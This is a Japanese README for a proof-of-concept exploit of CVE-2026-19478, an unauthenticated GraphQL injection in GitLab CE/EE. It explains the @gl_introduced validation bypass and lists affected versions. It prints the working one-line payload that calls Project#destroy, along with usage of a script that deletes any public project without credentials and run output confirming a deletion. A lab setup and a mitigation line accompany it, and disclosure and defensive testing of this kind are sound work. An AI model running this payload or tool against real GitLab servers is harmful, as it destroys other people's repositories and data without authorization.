
CVE-2026-19478の概念実証エクスプロイト。GitLab CE/EEにおける未認証のGraphQLインジェクションであり、任意のメソッド呼び出しとプロジェクト削除を可能にします。
★ CVE-2026-19478 GitLab GraphQL @gl_introduced 未認証任意メソッド呼び出し PoC ★
https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b
CVE-2026-19478 は、GitLab CE/EE における未認証のデータ改ざん・削除の脆弱性です(CVSS 9.4)。 GitLab は、ローリングデプロイの前方互換性のために GraphQL クライアントディレクティブ
@gl_introduced(version: "X.Y.Z")を提供しています。クエリが実行中サーバーより新しいバージョンのフィールドを指定すると、トレーサーが静的検証の前にそれを除去するため、クエリは検証を通過します。その後、実行時に未知のフィールドはリゾルバを持たないフォールバックフィールドによって解決されます。 graphql-ruby では、リゾルバを持たないフィールドはobject.public_send(field_name)を呼び出して解決されるため、クライアントは現在解決中のオブジェクト上の任意の0引数メソッドと等しいフィールド名を指定でき、サーバーがそれを呼び出します。 公開プロジェクトを解決し、destroyという名前の「将来のフィールド」を要求すると、Project#destroyが実行され、アカウント、トークン、ユーザー操作なしで公開プロジェクト(またはユーザーデータ)が削除されます。
| カテゴリ | バージョン |
|---|---|
| 影響あり | GitLab CE/EE 18.2 – 18.11.10、19.0.0 – 19.0.7、19.1.0 – 19.1.5、19.2.0 – 19.2.3 |
| 修正済み | 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 以降 |
Resolvers::NilResolver(nil を返し、メソッドを呼び出さない)経由にルーティングされます脆弱な GitLab をビルドして実行します。公開リポジトリ victim/demo が自動的にシードされ、未認証で削除できます。GitLab の再設定とシード完了には約3〜5分かかります。
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
| 前提条件 | このラボでの状態 |
|---|---|
| GitLab 18.2 – 19.2.3 | 19.2.2 |
| 匿名でアクセス可能な公開プロジェクト | victim/demo(シード済み) |
| 未認証の GraphQL エンドポイントに到達可能 | /api/graphql 公開 |
エクスプロイト gitlab_exploit.py は、認証情報なしで指定した任意の公開リポジトリを削除します。GraphQL フィールド名 destroy を Project#destroy 呼び出しに変換する @gl_introduced ペイロードを送信し、REST API(404)で削除を確認します。
# python3 gitlab_exploit.py <ターゲット ip:port> --repo <グループ/名前>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
[*] target ......... http://172.17.0.2:3000
[*] BEFORE (REST) .. GET /api/v4/projects/victim/demo -> HTTP 200 (exists)
[*] PAYLOAD (unauth) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ....... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] waiting for async delete to finish ...
[+] AFTER (REST) ... GET /api/v4/projects/victim/demo -> HTTP 404
[!] SUCCESS - the UNAUTHENTICATED request DELETED 'victim/demo'. CVE-2026-19478 proven.
オプション:
--detect — 安全な非破壊チェック(destroy の代わりに無害な to_param メソッドを呼び出します)--repo group/name — インスタンス上の任意の公開プロジェクトをターゲットにします--insecure — https:// ターゲットの TLS 検証をスキップします@gl_introduced ディレクティブ / バージョンフィルターパスをブロックするか、/api/graphql への未認証アクセスを制限する